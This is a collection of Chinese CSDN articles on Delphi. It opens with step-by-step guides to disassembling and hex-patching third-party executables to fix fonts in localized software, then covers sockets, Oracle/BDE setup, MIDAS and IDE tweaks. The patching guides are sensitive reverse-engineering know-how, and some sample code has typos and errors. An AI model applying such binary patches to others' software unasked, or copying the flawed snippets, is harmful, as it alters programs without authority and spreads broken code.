以前 ChinEase 曾问过 iProtect SoHo 的字体问题，当时我并不熟悉，以为主界面是使用了枚举的方式设置的字体，觉得不能解决，不过现在才发现其实其主界面字体是可以自己设置的，所以所剩的字体问题仍然是 Hint 的问题，在这里就以 iProtect SoHo 为例说一下。

用 W32dasm 反编译 iprotect.exe ，生成 iprotect.alf ，打开它，查找 push 00000048 ，发现四个，其中后两个一个因为在 call MulDiv 之上的语句是 push 00000009 ，所以已经是 9 磅的字体，另一个后面根本没有 call MulDiv ，所以更不是我们所要找的语句了，剩下的两个如下：

    * Referenced by a CALL at Addresses:
    |:00412279   , :00416EAA   , :0041D93C   , :00425408   , :004BAFCA
    |:004BB710
    |
    :0041DB38 53                      push ebx
    :0041DB39 8BD8                    mov ebx, eax
    :0041DB3B 8B4314                  mov eax, dword ptr [ebx+14]
    :0041DB3E 50                      push eax
    :0041DB3F 6A48                    push 00000048
    :0041DB41 8BC3                    mov eax, ebx
    :0041DB43 E864FFFFFF              call 0041DAAC
    :0041DB48 50                      push eax

    * Reference To: kernel32.MulDiv, Ord:0000h
                                      |
    :0041DB49 E8A67BFEFF              Call 004056F4
    :0041DB4E F7D8                    neg eax
    :0041DB50 5B                      pop ebx
    :0041DB51 C3                      ret

    :0041DB52 8BC0                    mov eax, eax

    * Referenced by a CALL at Addresses:
    |:00412298   , :00416EB9   , :0041AE0F   , :0041D945   , :00425417
    |:0043CC63   , :0043D62A   , :00471F31   , :004914F4   , :0049CB09
    |:004B6212   , :004BA4DA   , :004BA51E   , :004BB720   , :004D4955
    |
    :0041DB54 53                      push ebx
    :0041DB55 56                      push esi
    :0041DB56 8BF2                    mov esi, edx
    :0041DB58 8BD8                    mov ebx, eax
    :0041DB5A 6A48                    push 00000048
    :0041DB5C 8B4314                  mov eax, dword ptr [ebx+14]
    :0041DB5F 50                      push eax
    :0041DB60 56                      push esi

    * Reference To: kernel32.MulDiv, Ord:0000h
                                      |
    :0041DB61 E88E7BFEFF              Call 004056F4
    :0041DB66 8BD0                    mov edx, eax
    :0041DB68 F7DA                    neg edx
    :0041DB6A 8BC3                    mov eax, ebx
    :0041DB6C E843FFFFFF              call 0041DAB4
    :0041DB71 5E                      pop esi
    :0041DB72 5B                      pop ebx
    :0041DB73 C3                      ret

可以看到，在 call MulDiv 之上并不是压入的常数，而是寄存器值，而这两段代码其实是函数，所以它是通过别人调用来设置的，这需要跟踪才能知道究竟是谁在调用，我最近发现其实 W32dasm 也可以进行动态跟踪，因为不会中止其它进程，所以我现在比较喜欢用 W32dasm 来跟踪 —— 可以同时听 mp3 。 :) 不过 W32dasm 的跟踪界面有些零乱，我就不介绍了。在这里，跟踪到调用者：

    :0041ADFA BA38AE4100              mov edx, 0041AE38
    :0041ADFF 8B460C                  mov eax, dword ptr [esi+0C]
    :0041AE02 E8ED2C0000              call 0041DAF4
    :0041AE07 BA08000000              mov edx, 00000008
    :0041AE0C 8B460C                  mov eax, dword ptr [esi+0C]
    :0041AE0F E8402D0000              call 0041DB54

就是最后一个 call 0041DB54 调用了上面的设置字体的代码，我们发现很明显的上面有一个 mov edx, 00000008 ，我们尝试把它修改成 mov edx, 0000000F ，运行程序，发现 Hint 的字体真的变得很大了，也就是说，改对地方了。

另外，第一句的 mov edx, 0041AE38 其实压入的是字体名，所以最后的修改是：把 0x1a239 处的“MS Sans Serif”改成“宋体”，把 0x1a208 处的 08 改成 09 。（0x1a238 处是字体名的长度计数器，最好也修改成 04）

简单方法

上面的介绍只是为了让大家知道为什么要这样修改，其实是有一种简单的方法找到要修改的地方的。我说过，Delphi 程序员一般不会自己创建字体，所以这里的仍然是 VCL 的问题，而 VCL 编译出来的代码不会因为不同的程序而不同，所以仍然有规律可循。

不知道大家注意到没有，上面修改的地方相差不大，一个 0x1a239 ，一个 0x1a208 ，只相差 0x31 ，对于 UEdit 来说，就是三行多一个字符，其实这就是它的规律，我们可以先找到究竟是哪一个字体名的问题，再向上三行，找到一个“BA 08”，把它改成“BA 09”就可以了，我修改的几个程序用这种方法的成功率目前也是百分之百的。:)

至于怎么找到是哪一个字体名的问题，我就不说了 —— 顶多一个一个的改成“System”进行测试，一定可以找到的。 :)


CSDN_文档中心_Delphi 字体修改一例

Delphi 字体修改一例

声明

个人可以自由转载本文，不过应保持原文的完整性，并通知我；商业转载先请和我联系。

本文没有任何明确或不明确地提示说本文完全正确，阅读和使用本文的内容是您自己的选择，本人不负任何责任。

如果您发现本文有错漏的地方，请您给我指出；如果有什么不理解的，请您给我提出。

意见、建议和提出的问题最好写在我的主页 http://llf.126.com 的留言版上。

前言

汉化人大宇在汉化 CTris2000 这个 Delphi 程序的时候，修改了所有 RCData 中的字体设置，但仍然有一个窗体的字体很难看，我帮他做了修改，在这里就以它为例说一下 Delphi 程序字体字号的修改。

本来，我以为要详细的说才能说清，不过现在看来，也未必，所以在这里还是简单的说一下算了。

Delphi 程序的字体

关于 Delphi 程序的字体，以我想大概有三种情况：

一、RCData 格式。这种格式的字体字号的问题有很多工具，诸如 eXeScope 、ResHacker 等工具都可以非常方便的修改，而且这也是 Delphi 程序中的字体设置使用最多的方法，而且大多数 Delphi 程序都只使用这一种方式，而其修改方法相对成熟的多，所以我不讨论这种方式。

二、SDK 格式。有些 Delphi 程序为了追求最小的独立可执行文件尺寸，不使用 Delphi 缺省的 VCL 运行库，而是自行使用 SDK 的编程方式，不过这种程序不多，如果有，个头也很小，一般是几Ｋ、十几Ｋ的居多，如果在这些程序里出现字体不协调的问题，可以使用和修改 C 字体字号相同的方法修改。

三、VCL 内部格式。VCL 是 Delphi 使用的函数库，其内部很可能使用了不是我们所希望的“宋体,9”的窗体，不过我想来想去，也只有类似 VB 函数的 InputBox 有这种可能，也就是 CTris2000 中要求输入姓名的那个窗体，故我们要谈的就是这种方式的程序的字体的修改，而且，几乎可以确定的固定在 InputBox 上，当然，即使是这一种情况，也比较类似 C 字体的修改，而不是 VB 。（我不知道 Delphi 中相同功能的函数的函数名，所以暂称其为 InputBox）。

修改过程

我修改的过程比较繁琐，所以在这里剔除复杂的部分，简单的说。

首先，使用 W32dasm 反汇编汉化后的 CTris2000.exe ，存盘，打开 CTris2000.alf 文件，查找 CreateFont ，发现只有 CreateFontIndirectA ，而没有 CreateFontA ，这真是一个烦人的开始。继续查找，发现 CreateFontIndirectA 被三个地方调用，地址分别是 4124EC 、420460 和 42A7F3 。

运行 Trw2000 ，调入 CTris2000.exe ，然后键入“bpx 4124EC”、“bpx 420460” 和 “bpx 42A7F3”设置断点，按“F5”运行，中断时键入“dd *esp”查看堆栈的栈顶指针所指的地址的内容，发现大多数情况此地址的开头都是“FFFFFFF4”，也就是“-12”，是正常的，不过有一次，它是“FFFFFFF5”，也就是“-11”，在它下面一点，我们见到了这种字体的名称“MS Sans Serif”。

用 ResHacker 检查 CTris2000.exe ，发现并不是所有的“MS Sans Serif,8”都被改成了“宋体,9”，所以首先把这些没有改成“宋体,9”的项都改成“宋体,9”，存盘。

用 UEdit 打开 CTris2000.exe ，查找“MS Sans Serif”，只有一个，在 0x5b0b8 处，为了验证，把这个“MS Sans Serif”改成“System”，运行程序，发现那个输入窗体的字体确实如我们所想的变成“宋体,12”了。

0x5b0b8 在数据段，所以，数据基偏移 = 基地址 + 数据RVA - 数据Offset = 400000h + 5c000h - 5ae00 = 401200h ，所以，0x5b0b8 的在代码中为 401200h + 5b0b8 = 45C2B8h 。在 CTris2000.alf 查找“0045C2B8”，没找到，那么，查找“0045C2B”吧，找到几处，如“0045C2B7”、“0045C2B6”和“0045C2B0”，很是奇怪。

运行 Trw2000 ，调入 CTris2000.exe ，像上面一样设断点，运行到有问题的 CreateFontA 的时候，键入“dd 0045C2B0”，看看是什么？原来是“FFFFFFF5”！好吧，把“0045C2B0”当作突破口。

打开 CTris2000.alf ，查找“0045C2B0”，发现两个地方，代码如下：

* Referenced by a CALL at Address:
|:0041979B
|
:00419604 53                      push ebx
:00419605 56                      push esi
:00419606 57                      push edi
:00419607 6A48                    push 00000048
:00419609 A1D0E54500              mov eax, dword ptr [0045E5D0]
:0041960E 50                      push eax
:0041960F 6A08                    push 00000008

* Reference To: kernel32.MulDiv, Ord:0000h
                                  |
:00419611 E836BEFEFF              Call 0040544C
:00419616 F7D8                    neg eax
:00419618 A3B0C24500              mov dword ptr [0045C2B0], eax
:0041961D A13CD64500              mov eax, dword ptr [0045D63C]
:00419622 80780800                cmp byte ptr [eax+08], 00
:00419626 743A                    je 00419662
:00419628 E893FFFFFF              call 004195C0
:0041962D 8BD8                    mov ebx, eax
:0041962F 8BC3                    mov eax, ebx
:00419631 2C80                    sub al, 80
:00419633 752D                    jne 00419662
:00419635 BE68964100              mov esi, 00419668
:0041963A BFB7C24500              mov edi, 0045C2B7
:0041963F B904000000              mov ecx, 00000004
:00419644 F3                      repz
:00419645 A5                      movsd
:00419646 6A48                    push 00000048
:00419648 A1D0E54500              mov eax, dword ptr [0045E5D0]
:0041964D 50                      push eax
:0041964E 6A09                    push 00000009

* Reference To: kernel32.MulDiv, Ord:0000h
                                  |
:00419650 E8F7BDFEFF              Call 0040544C
:00419655 F7D8                    neg eax
:00419657 A3B0C24500              mov dword ptr [0045C2B0], eax
:0041965C 881DB6C24500            mov byte ptr [0045C2B6], bl

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00419626(C), :00419633(C)
|
:00419662 5F                      pop edi
:00419663 5E                      pop esi
:00419664 5B                      pop ebx
:00419665 C3                      ret

不知道大家是否能大概看懂上面的代码，不过它和我在《C 程序字号的修改》里摘抄的 MSDN 里建议的设置字号的方式是基本一样的：

    nHeight = -MulDiv(PointSize, GetDeviceCaps(hDC, LOGPIXELSY), 72);

我们可以看到，“0041960F”处的“6A08”压入的就是磅值，我们需要的是 9 磅的字体，所以把“6A08”改成“6A09”就可以了。代码基偏移 = 基地址 + 代码RVA - 代码Offset = 400000h + 1000h - 400h = 400c00h ，41960fh - 400c00h = 18a0fh ，也就是说“6a08”在 0x18a0f 处。

所以，最后的修改是这样的：把 0x5b0b8 处的 "MS Sans Serif" 改成 "宋体"；把 0x18a0f 处的 6a08 改成 6a09 。

虽然我已经简化了过程，不过好像还是很麻烦，那么有没有什么简单的方法呢？有的。

一、如果实在不会这样的修改方法，也不要留着，把“MS Sans Serif”改成“System”是一种简单有效的方法，遗憾的是字体显得比较大。

二、先把“MS Sans Serif”改成“宋体”，然后用 W32dasm 反编译汉化后的程序并存盘后，用 EmEditor 打开 *.alf 文件，按“Ctrl+F”，出现查找对话框，选择“使用表达式”，在要查找的文本中输入“push 00000008\n\n* Reference To: kernel32.MulDiv,”，找到的不会很多，把“08”修改成“09”试一试，直到得到正确的结果。

需要注意，第二种方法只适用于 Delphi 程序的 InputBox 的字体修改，而第一种方法适用于所有程序。另外，我因为没有见到其它类似的 Delphi 程序，也不能肯定第二种方法就是对的，如果各位有见到，不妨一试。


CSDN_文档中心_DELPHI&bcb中ServerSocket与ClientSocket类体系图(UML表示）

我在前段时间学习DELPHI网络编程的时候，自己分析整理出了一些资料，以下是我

读VCL源码整理出来的一份sock类图，希望对大家有帮助。


CSDN_文档中心_Delphi(BCB)中编译器版本宏定义

Delphi 5 VER130
C++ Builder 4 VER125
Delphi 4 VER120
C++ Builder 3 VER110
Delphi 3 VER100
C++ Builder 1 VER93
Delphi 2 VER90
Delphi 1 VER80
BP7 VER70


CSDN_文档中心_Delphi.NET previewed at SD West

Delphi.NET previewed at SD West - by Anders Ohlsson

Abstract:Borland also received the coolest award ever - Jolt Hall of Fame!

At SD West in San Jose (last week), Borland Software Corporation got inducted into the Jolt Hall of Fame for its outstanding products and commitment to developers all around the globe! Simon Thornhill, Vice President & General Manager of the RAD business unit, was there to accept the award. Delphi 6, Kylix 2 and JBuilder 6 all received Jolt productity awards in the "Languages and Development Enviroments" category. See CMP Media's press release for more details.

Simon Thornhill accepts the Jolt Hall of Fame award.

Lots of happy customers attended our booth. We owned the show simply because people craved our bags to put all their stuff in - nobody else had any bags (we rule!). Our CDs and T-shirts were of course a huge success as always.

Only the necessities - beer, pretzel and Borland software! Need a bag for that?

Kim Miller is making sure the marketing material looks good.

The most interesting piece of technology that everybody asked about was of course - what are we doing about .NET? Take a look at the images and let your imagination run wild... ;-)

For a lot more information about our upcoming .NET support, please check our .NET Strategy page. This preview was also shown at Microsoft TechEd - see press release.

Delphi.NET preview...

What's on the screen here? Well, there's Delphi source code (ConvertIt.dpr) on the left hand side, then the half second compile is shown in the command prompt in the upper right corner, in the middle and in the bottom left corner, the application is viewed in Reflector showing that it's a pure .NET application. The small window slightly below the top right corner shows the application running.


CSDN_文档中心_Delphi：易混淆的概念

一、Owner和Parent的区别：

    Parent属性是指构件的包容器，构件只能在此范围内显示和移动。举例子如下：
    (1)在Form1的窗体上，放一个Panel1,并将Panel1拉大，
    (2)在Panel1上放一Button1；
    (3)在Form1上放一Button2。

    现在如果移动Panel1,则Button1随着Panel1移动，这是因为Button1的Parent是Panel1。现在将Button2移到Panel1上，再次移动Panel1,Button2并不跟着移动，这是因为Button2的Parent是Form1。除在窗体设计中，应注意构件的Parent是谁外，在动态创建构件时，也应指出构件的Parent，如在上例中继续操作：
    1)Procedure Tform1.Button2click(Sender:Tobjet);
    2)Var
    3) Button:Tbutton;
    4) Begin
    5) Button:Tbutton.cerate(self);
    6) Button.parent=panel1;
    7) Button.lleft=0;
    8) Button.top=0;
    9) Button.caption:='OK';
    10) End；

    当按Button2时，将在Panel1上创建一个Button，而如果把第6句改为Button.parent:=self；按Button2时，将在Form1上创建一个Button了。如果将第6句删除，按Button2时，什么都不会发生，这是因为创建方法无法知道应在哪里显示构件。

    Owner属性是指构件的所有者，它负责构件的创建和释放。如在上例中，系统默认窗体上所有构件的所有者是窗体，而窗体的所有者是Application。顺便指出，create方法应带有表示构件所有者的参数，如在上例中，构件所有者是窗体，即self。

    Parent属性和Owner属性是运行阶段的属性，只能在运行阶段，通过代码设置。

二、Self和Sender的区别：

    在事件处理程序参数表中，至少含有一个参数Sender,它代表触发事件处理程序的构件，如在上例中，Sender就指Button2，有了Sender参数，可以使多个构件共用相同的事件处理程序，如下例：
    Procedure Tform1.Buttonclick(Sender:Tobject);
    Begin
    If sender=button1 then
    Label1.caption:=′看庭前花开花落
′ 　　Else Label2.caption:=′望天上云卷云舒′
    End；

    在此例中，Button1,Button2共用了Buttonclick事件处理程序。

    Self是指所编的程序范围是在哪一个类中，Delphi中大都在窗体范围内编程，因此，self即指窗体，如果在编写一个类或是一个组件，则self指该类或组件。我们在函数或过程的声明中可看出self是代表哪个组件，即self代表‘.’号之前的组件，如在第一个例子中，self代表Tform1。另外应注意，self只能用在类方法中，而不能用在过程或函数中，如下例用法是错的:
Function a1(B:Integer):Integer;
    Begin
    ……
    Button:=tbutton.create(self)；……
    End；

三、Clientheight和Height,Clientwidth和Width的区别：

    对于一般的构件而言，Height就是Clientheight,Width就是Clientwidth，而对于窗体而言，Height是包括标题条在内的高度，而Clientheight是指窗体工作区的高度。同理，Clientwidth是指定窗体工作区的宽度。

    从上面陈述可知，理解Ower和Parent,Self和Sender，Clientheight和Height,Clientwidth和Width区别，对于Delphi中正确编程是重要的。


CSDN_文档中心_Delphi4的Winsocket编程

Delphi4的Winsocket编程
    也许你曾经叹服过微软公司的IE浏览器等网络应用软件功能之强大,技术之先进，也许你目前还没有能力开发这样的一个复杂的大型系统，不过不用着急,这里可以给你一个练习的机会，就是学会用Delphi的Winsocket来编写基于TCP/IP的应用程序，这里假设你已经对Delphi开发工具已经初步熟悉了。

    我们可以想象，如果从最原始开始来编写一段实现与远程计算机通信的程序，则必须对相关的网络协议、系统的底层知识以及网络软硬件技术有一个全面的熟悉和掌握，然而这在短时间内对大多数人来讲，都不是一件容易的事。

    幸运的是Delphi的网络组件库中为我们提供了关于实现网络通信的组件，它们封装了复杂的具体实现的细节。其中ClientSocket和ServerSocket组件使我们能够很方便地编写出自己的网络通信和资源共享程序。

    Delphi 4.0中编写Winsocket程序的步骤分为：

    1）Winsocket组件属性设置；

    2）建立与远程计算机的连接；

    3）计算机间的数据传输；

    下面具体就这三个步骤做详细说明。

    一．Winsocket属性的设置

    Delphi 4.0中将Winsocket细分为两种组件：ClientSocket和ServerSocket。它们分别作为客户端和服务器端的组件。即在客户端程序中采用ClientSocket组件，而在服务器端则采用ServerSocket组件。通过这两种组件之间的通信，再加上辅助的应用程序代码，就可以实现一个简单的通信程序。当然在客户端程序中再引入ServerSocket的话，那么客户端程序就可以充当服务器了，可以对其他的客户端程序的请求进行响应。

    如果正在编写服务器端程序，就必须设置ServerSocket组件的Port属性。之所以要设置此参数，是因为在同一台计算机上可能运行着多个服务器程序，而它们可能总在不停地接受来自于远程客户端程序的连接请求。如果你正试图发送一份电子邮件，而系统却将你的请求连接到了另外一个服务器程序上了，则你的邮件就肯定无法正常发送出去了。所以必须给服务器程序上的ServerSocket组件设置一个合适的端口号Port。也可以设置Service属性，它指示了ServerSocket所提供的服务类型，比如：FTP、HTTP等等。然后设置Active属性为True。

    如果正在编写客户端程序，则设置ClientServer组件的属性就多一些。Port属性应设置成和服务器端的Port属性值一致。另外Host的属性必须正确设置，它是一个只读属性，在设计时不可用。它指示了客户程序所要连接的远程服务器的主机名。也可以设置Address属性，也就是远程主机的IP地址。如果这两个属性都设置了的话，那么系统将采用Host属性，而Address属性设置的IP地址就变成无效了。

    二．建立与远程计算机的连接

    要在远程计算机系统之间进行数据传输，首先必须在通信的两台主机之间建立连接。

    服务器端的ServerSocket组件调用Open方法初始化Socket连接，同时也就设置了Active属性为True，将ServerSocket组件设置成侦听模式，随时侦测是否有连接请求。

    如果服务器接受了客户程序的连接请求，则触发OnAccept事件，如下代码就是处理接受连接后服务器程序所要做的工作。

    procedure Myform..ServerSocketAccept(Sender: TObject，Socket: TCustomWinSocket);

    begin

    IsServer := True;

    end;

    在客户端程序中，ClientSocket组件则设置Port、Host等必须的属性，然后设置Active属性为True，提出连接请求。

    三．计算机之间的数据传输

    一旦服务器端接受了客户机方面的连接请求，客户机就可以发送数据。这时，在客户机和服务器之间就拥有了一个Socket，通过此Socket双方实现通信。所以Socket属性很重要，它又拥有很多的方法，用其中的几个简单的方法，就可以实现数据的发送和接收。

    客户机端用如下形式：ClientSocket1.socket.sendtext('string you want to send');

    在服务器端采用如下形式：ServerSocket1.socket.recievetext( str: string);此函数返回接受到的字符串的长度，将字符串存储在变量str中。

    上述是数据传输的最简单的例子，你还可以采用Socket属性所提供的其他方法来实现复杂的数据传输。

    虽然Delphi 4.0中使用Winsocket组件十分方便，但是要真正熟练运用它来实现网络应用程序的开发，则必须仔细阅读关于它的帮助文件和示例程序。在不断的学习中比较这种方法的优点，掌握其编程特点，进而掌握Delphi中所提供的其它网络组件，例如：NMPOP3、NMUDP、NMFTP等的编程技巧。到那时，你就会有能力参与真正意义上的网络应用程序的开发，而不是停留在拿来别人的网络应用软件，设置一番、会熟练操作的水平上。


CSDN_文档中心_Delphi5 企业版使用BDE访问 Oracle方法

  • 系统环境：
      1、操作系统：Windows 2000 Server
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、开发工具：Delphi 5 企业版
  • 连接方法：

一、安装 Oracle 8i R2 (8.1.6) for NT 企业版
        使用典型安装，安装目录为D:\Oracle；

二、安装 Delphi 5 企业版
        把Delphi 5光盘放入光驱，使用典型安装，
        安装目录为C:\Program Files\Borland\Delphi5；

三、生成Oracle实验记录
        连入SQL*Plus，以system/manager用户登录
        SQL> conn system/manager

        创建新的用户：如user1/pass1，赋予connect,resource权限。
        SQL> grant connect,resource to user1 identified by pass1;

        SQL> conn user1/pass1
        SQL> create table test(a number,b char(19));
        SQL> insert into test values(1,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> insert into test values(2,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> insert into test values(3,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> insert into test values(4,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> insert into test values(5,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> commit;

        SQL> select * from test;

                 A B
        ---------- -------------------
                 1 2000-11-28 20:27:33
                 2 2000-11-28 20:27:36
                 3 2000-11-28 20:27:38
                 4 2000-11-28 20:27:40
                 5 2000-11-28 20:27:52

        D:\Oracle\Ora81\network\ADMIN\tnsnames.ora中有如下内容：

        test =
          (DESCRIPTION =
            (ADDRESS_LIST =
              (ADDRESS = (PROTOCOL = TCP)(HOST = hlshang)(PORT = 1521))
            )
            (CONNECT_DATA =
              (SERVICE_NAME = oradb)
            )
          )

        总结：
        Oracle service_names：　oradb
        Oracle用户名：　　　　　user1
        户名密码：　　　　　　　pass1
        测试表名：　　　　　　　test
        tnsnames：　　　　　　　test

四、配置BDE
        开始－＞程序－＞Borland Delphi 5－＞BDE Administrator
        1、配置Drivers，修改以下几个地方，如下图：

        DLL32：　　　　　　SQLORA8.DLL
        VENDOR INIT：　　　OCI.DLL
        LANGDRIVER：　　　 Oracle SQL WE850
        SQLPASSTHRU MODE： SHARED NOAUTOCOMMIT

        修改完，按鼠标右键，apply（CTRL+A），提交修改

        2、配置Database Aliases（数据库访问别名），新建一个别名，起名为oracle，如下图：

        3、修改以下几个地方，如下图：

        SERVER NAME：　　　test

        修改完，按鼠标右键，apply（CTRL+A），提交修改，退出BDE Administrator

        重新打开BDE Administrator，用鼠标左键双击别名oracle，进行连接测试

        输入用户名、密码，按“OK”连接，不能把user1/pass1直接写在User Name上，要分开写

        如果出现下图，则说明连接成功

五、启动 Delphi 5 企业版，写连接 Oracle 的 Delphi 程序
        开始－＞程序－＞Borland Delphi 5－＞Delphi 5

        File－＞New...－＞Application，如下图：

        Delphi 开发窗口上方的工具箱面板：

        打开Data Access控件组，用鼠标双击控件Table，再双击DataSource控件（上图中画红框的两个），
        把它们放到窗体Form1上，默认名称为Table1和DataSource1：

        打开Data Controls控件组，用鼠标双击DBGrid控件（上图中画红框的），
        把它放到窗体Form1上，默认名称为DBGrid1，如下图：

        修改控件Table1、DataSource1、DBGrid1的属性，如下图：

        Table1的Active属性：True
        Table1的DatabaseName属性：oracle（即是选BDE名）
        Table1的TableName属性：TEST（这里需要连接oracle）

        DataSource1的DataSet属性：Table1

        DBGrid的DataSource属性：DataSource1

        按F9，运行此程序，弹出登录画面，如下图：

        输入用户名、密码，按“OK”，运行结果如下图：


CSDN_文档中心_Delphi5.5的MIDAS编程(客户端)

Delphi5.5的MIDAS编程

数据库应用程序中三个基本层：

l 数据层：负责存储数据

l 业务层：负责从数据层获取适当格式的数据并执行最后的合法性检查（也叫做执行业务规则）。业务层也就是应用服务器层。

l 表示层：也叫做GUI层，负责在客户应用程序中以适当格式显示数据。总是与业务层打交道，不直接与数据层打交道。

Delphi下多层体系结构的优点：

1． 业务规则集中：业务规则放在应用服务器上

2． 瘦客户体系结构：数据访问由应用服务器来控制，数据表示则由客户的应用程序完成。只需发布客户应用程序和一个用来访问服务器的DLL文件。

3． 自动错误调和

4． 公文包模式：公文包打开数据模式，允许不必一直与应用服务器或数据库服务器保持活动连接。

5． 容错

6． 负载平衡：负载平衡的算法有随机法、顺序法、最少网络用户和最少网络流量等。Delphi4及以上版本提供了一个顺序法实现负载平衡的组件。

典型MIDAS体系结构：

窗体/数据模块 远程数据模块（RDM）

客 户 服 务 器

TdatasetProvider TDataset

TclientDataset

TDispatchConnection

一、 服务器

二、 客户端

Delphi中用于连接客户和服务器的是TdispatchConnection。通过它的AppServer属性，可以调用服务器上自定义的方法。TdispatchConnection派生了几个子类，分别有不同的连接特性：

1． TDCOMConnection：通过标准Windows服务，提供安全验证的核心。对于intranet/extranet应用程序尤为有用。就需要在中间层应用服务器配置DCOM的安全验证，用dcomcnfg.exe。缺点有：

难于配置，主要是在跨route或网域，分布也困难

不能很好兼容防火墙

在WIN95机器上要安装DCOM95

2． TsocketConnection：易配置，只使用一个端口进行传输。必须运行ScktSrvr进行配置。Delphi4下要求安装WinSock2，Delphi5下不使用回调，可以用WinSock1连接用户。

3． TOLEnterprisdConnection：提供内嵌的容错和负载平衡。进行容错和简单负载平衡的组件TsimpleObjectBroker。可把WIN9X作为服务器。

4． TCORBAConnection：相当于DCOM的开放标准。

5． TwebConnection：允许MIDAS在HTTP或HTTPS上进行数据传输。限制有：

不支持回调

客户必须安装WININET.DLL

服务器端必须运行IIS4.0或Netscape3.6及以上版本

客户端程序的编写可以有多种方式：

1． 主窗体为ActiveForm，调用其它普通窗体的方式。ActiveForm实际上也是一种ActiveX组件，它同时也是一个ActiveX的Container对象。这就是说它可以包含其它的组件。这样我们就可以把普通的VCL控件加入到ActiveForm中。

ActiveForm的创建和发布：

在Delphi中选New|ActiveX|ActiveForm

其中的Make Control Licensed选区项要注意，一般不选，否则ActiveForm在客户端下载时就需要License，就是要把开发机器上的License文件拷贝到客户端机器上。Include Version Information选项一般要选上，这样客户端在运行程序时就可以根据服务器上的版本号决定是否下载新的版本了。

创建并编辑完窗体后，就可以发布了。首先要在服务器上安装IIS，创建一个虚拟目录，准备放ActiveForm发布后生成的一些文件。选Project|Web deployment Options

这里是发布的各种设置。Targer dir是生成的一些文件存放在目录，Targer URL是客户机器访问服务器的URL，HTML dir是生成的ActveForm访问的主页存放目录。Use CAB file compression选项，选中时，ActveForm将打成CAB文件下载到客户端，不选中时，将编译成.OCX文件。Include file version number选项和创建ActveForm时一样，指发布时是否包含版本信息给客户端比较。Auto increment release number选项，一般要选中，这样程序每发布一次就会把版本号自动增加。这样客户端就可以比较后下载新版本。Deploy additional files选中的话，发布程序将包含Additional files页中添加的其它文件，如MIDAS.dll。

这些设置好之后，就可以点Project|Web deploy发布了。

有了一个ActiveForm，再通过ActiveForm调用普通的Form，就可以方便建立基于IE运行的application了。可在ActiveForm创建时，创建普通的窗体，再show出来，但这样，Form是独立在IE外的。如果创建同时，把Form的Parent设为ActiveForm，并设Form.visibal:=true，这样这个普通窗体就显示在ActiveForm上了。当然最后不要忘了在ActiveForm的destroy事件，把Form释放。通过这种方法，可以把任何普通的程序，转变为基于IE的应用程序。

使用ActiveForm为主的应用程序时，应为程序首次执行要下载ActiveForm，这样在某些速度较慢的网络上，要考虑ActiveForm文档的大小是否可以接受。下载时间过长，可能会造成DCOM或Socket逾时的情况。可使用Package和CAB技术使文档变小，但这毕竟有限。另外的办法是，程序员分析和设计整个应用系统，把共享的应用程序逻辑编写成企业对象，执行在应用程序服务器中，在ActiveForm下载后执行。但这样如果频繁调用大量数据，有时会降低执行效率，可能也难以接受。所以具体怎么样处理，最重要的是程序员的经验和实验。

2． 全部窗体都使用ActiveForm。ActiveForm不是直接调用，而是把要调用的ocx当作一个Internet链接来调用的。这种方式，客户端要下载大量的ActiveForm，这在一般网络上是难以接受的，所以很少采用。

3． 使用WEB方式。

因为下载和执行效率的关系，ActiveForm并不适合使用在Internet上。但一般的ASP+角本语言，也只适合简单查询多层应用系统。现今最好的解决方法就是XML+角本语言（最好是JavaScript）+企业对象+中介软件，能够满足电子商务应用的需要。

Delphi5提供功能强大的InternetExpress技术来开发分布式Web应用系统。从客户端到服务器到中介软件都可以只用Delphi来开发，而且是基于XML的。

4． 普通窗体。必须安装客户端程序，无法达到客户端免维护的要求，一般不采用。

参考文档：

l 《delphi5.x分布式多层应用系统篇》——李维

l 《delphi5.x分布式多层应用电子商务篇》——李维

l 《delphi5开发人员指南》——Steve Teixeira Xavier Pacheco

l 一并感谢Internet上众多优秀的DELPHI程序员们


CSDN_文档中心_delphi5。0秘籍大暴光

delphi5.0秘籍大曝光

    Delphi5.0是非常优秀的RAD开发工具，越来越多的人开始认识到这一点并转而使用它，但它也不是完美无缺的，实际上通过手工优化可以极大的提高它为我们工作的效率，我通过实践摸索出一些经验，借电脑报一角与大家分享：

一：实现控件面板的平滑滚动：

安装过许多控件的朋友都知道，在众多的控件中选择一个实在不是一件轻松的事，鼠标要不停点击，如果能平滑滚动该多好啊，好在Borland的专家早就想到了这一点：

建立一个文本文件，内容为：

REGEDIT4

[HKEY_CURRENT_USER\Software\Borland\Delphi\5.0\Extras]>

"AutoPaletteSelect"="1"

"AutoPaletteScroll"="1"

保存为tip.reg,然后双击此文件，启动delphi，怎么样？是不是爽多了！

二：加快程序启动速度：

delphi启动确实有点慢，既要显示快闪屏幕，又要读注册表设置，对于配置低的机器简直是一种折磨，实际上我们完全可以通过启动参数来控制它：

建立一个快捷方式，目标为：D:\DELPHI5\Delphi5\Bin\delphi32.exe /ns /np

（我的delphi装在d:\delphi5目录下，你要做相应改变。）

ns:no splash 不显示快闪屏幕

np:no project不加载项目

三.观察内存堆分配情况：

同上，快捷方式目标为：D:\DELPHI5\Delphi5\Bin\delphi32.exe /hm /hv

此后每启动此快捷方式就可看到delphi标题栏上不停变化的堆分配字节数

四.在右键快捷菜单中增加编译及查看功能：

先为dpr文件增加功能：

建立一个文本文件，内容为：

REGEDIT4

[HKEY_CLASSES_ROOT\DelphiProject]

@="Delphi Project"

"EditFlags"=hex:00,00,00,00

"AlwaysShowExt"=""

[HKEY_CLASSES_ROOT\DelphiProject\DefaultIcon]

@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe, 4"

[HKEY_CLASSES_ROOT\DelphiProject\Shell]

@=""

[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open]

@="&Open"

"EditFlags"=hex:01,00,00,00

[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open\command]

@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe /ns %1"

[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open\ddeexec]

@="[open(\"%1\")]"

[HKEY_CLASSES_ROOT\DelphiProject\Shell\Open\ddeexec\Application]

@="DELPHI32"

